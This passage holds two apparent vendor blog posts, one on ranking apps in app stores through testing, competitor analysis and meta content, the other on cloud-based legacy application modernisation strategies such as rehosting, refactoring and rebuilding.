there will be an organic growth through recommendations, reviews and positive comments.

Even though your app might provide amazing solutions to your user’s problems, it might still
not impress your target demographic if it is riddled with bugs. Therefore, it is always a good
idea to put your app through professional quality testing processes so that you can filter out
any glitches or malfunctions that may crop up as more people start downloading and using
your apps.

If the use case of your application is such that traffic influences the stability of your user experience, quality assurance test is a must. Shelling out the money now is the recommended option, than paying the price later when your app doesn’t scale fast enough.

Analyze Competition

Analyzing your competitors and their products is a must no matter what industry you operate
in. Competitor analysis will give you an idea of what kind of practices your contemporaries
are adopting to stay on top of the game – integrating those methods into your larger
marketing strategy will show your users that you are at par with the best in the industry and
therefore trustworthy.

Competitive analysis will also help you make your app unique – if you are offering similar
services as other app developers. Without adding anything unique or special to your brand,
your customers are likely to stick to the apps that have been in the market for a longer time,
with better ratings.

Once you catalogue the features and services offered by your competitors, try to add flows and options that are unique to your brand so that your customers feel the need to try it out and switch to your app instead of your competitors. More users will leave positive ratings if your services are genuinely helpful, and one of the most used criteria to sort apps on Stores is through user ratings This will increase your downloads and help you rank higher – slowly and organically, but steadily.

Improve Meta Content

One of the most under looked aspects of ASO is Meta Content. Meta content constitutes text and images that accompany your app on the App Store – the quality and attractiveness of your icon, the title of your app on the Store, the pictures the customers see when they click on your app and the content that the search engine crawlers come across when they filter through your app.

Given short attention span of app users, they are less likely to linger on if they don’t find it impressive enough. This is why you should optimize the content before you release your brainchild out into the world. Build impressive icons, headers, logos with the help of professional designers. Ensure a high-quality image that fits current aesthetic trends goes into your icon – customers will not feel like clicking on it if they don’t find it attractive or ‘modern enough’.

While you should avoid titles that are clickbait, it is always ideal to have keywords in your
app description. Figure out what your target customers could potentially search for when
trying to find an app like yours. The primary keywords can also be put in your title but avoid
having a tacky and lengthy header.

Even the in-app screenshots matter to your customer – make sure the screenshots are honest
yet enhanced so that the customer gets a good feel of. If the UI of the app is attractive, your
customer will be tempted to give it a try. Even if your app’s actual design is impressive, your
user may not give it a chance if they find the in-app screenshots to be low quality. The right
color scheme and minimalist designs can go miles when it comes to capturing your
customer’s fancy.

The post Be Discoverable- Here’s How Your Product Can Rank better on the App Store appeared first on Indium.

Various factors are driving the need for application modernization, with COVID-19 limitations remaining one of the most important. Organizations are struggling to maintain a smooth workflow as a result of COVID-19 regulations forcing their employees to work from home. Under the great burden of rising app-based digital business transactions, businesses’ old programmes and software have given up, compelling businesses all around the world to update their legacy apps.

Read More about: Application Modernization with AWS

In a very dynamic market, companies should have an application modernization strategy in place to maintain business continuity and growth. The greatest strategy to exploit current capital and minimise unnecessary technological investments is to modernise your existing apps or systems.

Modernizing legacy applications might help to avoid accruing technical debts and business immobility. This article explains how application modernization enables businesses to digitally shift and scale up during a pandemic.

What is application modernization?

Application modernization entails rewriting existing software to accommodate new computing methods. New languages, frameworks, and infrastructure platforms are among the updates. In this digital world, data becomes the primary business driven force to study and analyse the in-depth business dynamics in terms of sales, revenue, expenditure and proftis etc. The IT industry matured a lot in recent years and the latest technology advancements have made the giga bytes of data processing possible quicker which helps to forecast the business well in advance. Modernization process takes care of application security in greater width by enabling / enforcing multifactor authentication process which was not possible with older technologies.

Some businesses are ready to phase out older applications in favour of the most up-to-date. However, both financially and operationally, this can be expensive. As a result, “the most reasonable strategy to exploit newer platforms, technologies, and frameworks is to modernise applications.”

Benefits of Application Modernization

Cost reduction: Because of the pandemic’s limited resources, “cost” has been the most crucial motivator for application modernisation. For example, the more data you collect, the more you’ll have to pay for your on-premise data centre, requiring businesses to replace storage systems more frequently. It is costly to own and maintain infrastructure since additional costs for cooling, space, and electricity are incurred. Besides these costs, maintaining a large data center would necessitate a specialised IT team to manage the same. As a result, investing in timely application modernization is both reasonable and advantageous, as it helps to avoid all of the costs listed above. The recent cloud platforms (PaaS) offer zero dev-ops it means no manpower is required to maintain and manage the application with respect to deployment. Keeping all these factors like machine, manpower and other infra resources taking into account, enterprises would reduce the recurring expenses significantly.

Improves customer experience: The market has become a battleground for enterprises that cater to similar products and services. At a time like this, it is the customer experience that will give a company the needed competitive edge. Customers preferred with minimal clicks to get things done. Using an obsolete technology will be difficult attain this client experience. Legacy software has an impact on productivity and the time taken to complete the integration.

Furthermore, outdated software’s security flaws can easily jeopardise your business and consumer data, harming your brand. By altering the end-user interface, automating laborious procedures, and adding new features, application modernization can improve your customers’ experience. Essentially, more stable systems, faster updates, and improved security will make your business operations more efficient. All of this, taken together, distinguishes your company and ensures that it flourishes. Without investing extensively in all new technology, your company may get up to speed via application modernisation. In the long term, application modernization will increase revenue, efficiency and security of the applications.

Application modernization strategies

An effective application modernization strategy can minimise the resources needed to run an application, increase the frequency and dependability of deployments, and improve uptime and resiliency. As a result, a plan for application modernization is a standard component of a company’s overall digital transformation strategy.

Legacy application support is difficult for a variety of reasons. These old and difficult-to-maintain systems are becoming progressively obsolete making it less effective at fulfilling their intended goal as they age, also posing a cybersecurity risk. While application modernization is not without its difficulties, the advantages are substantial. Here are five best practises to keep in mind when you create your approach:

Rehost: This strategy, often known as the ‘lift and shift’ concept, entails migrating your application’s fundamental resources from an on-premise data centre to the cloud in their current state. The application codebase is kept the same, but the infrastructure, which includes cloud-based storage, compute, and network resources, is transferred to cloud infrastructure-as-a-service (IaaS). Attempting to migrate current systems, particularly monolithic legacy apps, to a cloud architecture will prevent them from taking advantage of key cloud-native capabilities such as PaaS, multi-cloud, microservices, agile methodology, containers, CI/CD, and DevOps processes. However, this approach is good if you re trying to utilize the cloud benefits to save cost and as a disaster recovery option.

Refactor: The applications are expected to be on cloud nature in digital era. It includes modification of the application itself and part of code to avail all the benefits of a public cloud. Developers can take advantage of the organization’s strategic code by repurposing investments in languages, frameworks, and containers. It is a time and resource intensive, but the advantages that it brings outweighs the earlier said issues. Organizations take advantage of developing independent services for some of the functional features and make it useable for both internal and external users.

Re-architect: The legacy monolithic application is re-architected using the microservices model, containerized, and current DevOps processes in this option. This involves breaking down or dividing your monolithic application into a set of services that can be written, deployed, and managed separately. Rather than a complete rebuild, it entails fundamentally modifying or deconstructing the application into services. This divide-and-conquer approach to design gives you more control and offers advantages like business agility, faster time to market, lower costs, and the ability to reimagine the customer experience. Cloud-based PaaS (if desired), microservices, serverless, containerization, and current DevOps approaches are among the technologies used.

Rebuild: It’s comparable to a re-architecture, only that instead of remodelling, you’re flattening it and beginning again. And, as with a home, starting from scratch can be more cost effective and usually results in a much better outcome than a renovating effort. The programme is redesigned as a cloud-native application during the rebuild, which helps to speed up innovation, release value sooner, and lower overall operational expenses. Given advancements in technology, languages, frameworks, and other efficiencies, the effort necessary to construct the old programme in the first place could be far greater than the effort required to replace it today. Lower-level programming is now frequently abstracted.

Replace: You can sometimes replace a legacy programme with a more flexible cloud-based solution if it offers certain functionality that is still relevant. Replacing an on-premise version of Microsoft Exchange Server with the cloud-based Office 365 is a simple example. These services are now available as a pay-as-you-go subscription rather than a purchased licence.

The advantages of software-as-a-service (SaaS) solutions include always running the most recent version without the need for updates, significant cost savings, perhaps greater security, and moving the support responsibility outside of the business.

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